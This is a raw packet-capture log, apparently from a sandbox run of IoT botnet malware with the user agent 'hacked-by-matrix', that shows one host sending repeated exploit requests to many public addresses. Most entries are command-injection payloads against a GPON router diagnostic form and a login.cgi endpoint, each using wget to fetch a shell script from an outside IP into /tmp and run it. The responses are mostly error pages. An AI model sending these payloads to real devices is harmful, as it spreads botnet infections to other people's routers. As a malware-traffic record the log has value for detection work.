Mar 21, 2024 05:21:46.037739038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	45374	212.53.48.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.037766933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	38128	178.71.65.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.037811041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	57010	212.155.237.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.037873983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	60922	5.26.187.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.037914038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	36124	212.227.215.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.082246065 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:46.259829044 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:21:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	36258	69.55.54.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.348079920 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:46.436578035 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:21:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	43822	212.83.167.199	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.507608891 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:46.667169094 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Thu, 21 Mar 2024 04:21:46 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	45810	54.204.254.177	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.749258041 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	34526	212.27.24.140	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.909989119 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:48.223742008 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:48.438882113 CET	35	IN	HTTP/1.0 302 Redirect
Mar 21, 2024 05:21:48.441858053 CET	399	IN	Data Raw: 53 65 72 76 65 72 3a 20 44 65 6d 6f 2d 57 65 62 73 0d 0a 44 61 74 65 3a 20 54 68 75 20 4d 61 72 20 32 31 20 30 36 3a 32 32 3a 33 38 20 32 30 32 34 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 50 72 Data Ascii: Server: Demo-WebsDate: Thu Mar 21 06:22:38 2024X-Frame-Options: SAMEORIGINPragma: no-cacheCache-Control: no-cacheContent-Type: text/htmlLocation: http://192.168.1.1/main.html<html><head></head><body>This document has moved

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	45486	18.221.155.37	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.596658945 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:21:47.930043936 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:21:48.034313917 CET	1286	IN	HTTP/1.0 503 Service Unavailable pragma: no-cache cache-control: private, max-age=0, no-cache, no-store content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 36 36 36 36 36 36 36 37 3b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 32 65 6d 20 31 65 6d 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 68 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 70 20 7b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 2e 61 6c 65 72 74 2e 61 6c 65 72 74 2d 69 6e 66 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 30 46 30 46 30 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 33 30 70 78 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 2e 61 6c 65 72 74 20 70 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 33 35 70 78 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 75 6c 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 35 31 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 6c 69 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 65 6d 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 70 2e 69 6e 66 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 70 2e 69 6e 66 6f 3a 62 65 66 6f 72 65 2c 20 70 2e 69 6e 66 6f 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 30 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 70 2e 69 6e 66 6f 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 36 36 43 43 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 36 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e Data Ascii: <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> body { font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; line-height: 1.66666667; font-size: 16px; color: #333; background-color: #fff; margin: 2em 1em; } h1 { font-size: 28px; font-weight: 400; } p { margin: 0 0 10px; } .alert.alert-info { background-color: #F0F0F0; margin-top: 30px; padding: 30px; } .alert p { padding-left: 35px; } ul { padding-left: 51px; position: relative; } li { font-size: 14px; margin-bottom: 1em; } p.info { position: relative; font-size: 20px; } p.info:before, p.info:after { content: ""; left: 0; position: absolute; top: 0; } p.info:before { background: #0066CC; border-radius: 16px; color: #fff; con
Mar 21, 2024 05:21:48.034378052 CET	1286	IN	Data Raw: 74 65 6e 74 3a 20 22 69 22 3b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 62 6f 6c 64 20 31 36 70 78 2f 32 34 70 78 20 73 65 72 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 6c 65 Data Ascii: tent: "i"; font: bold 16px/24px serif; height: 24px; left: 0px; text-align: center; top: 4px; width: 24px; } @media (min-width: 768px) { body { margin: 6
Mar 21, 2024 05:21:48.034389973 CET	101	IN	Data Raw: 20 72 75 6e 6e 69 6e 67 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0d 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f Data Ascii: running. </li> </ul> </div> </div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	57550	194.242.41.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.675374985 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:21:47.859564066 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:21:47 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	37794	129.16.29.157	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.693579912 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
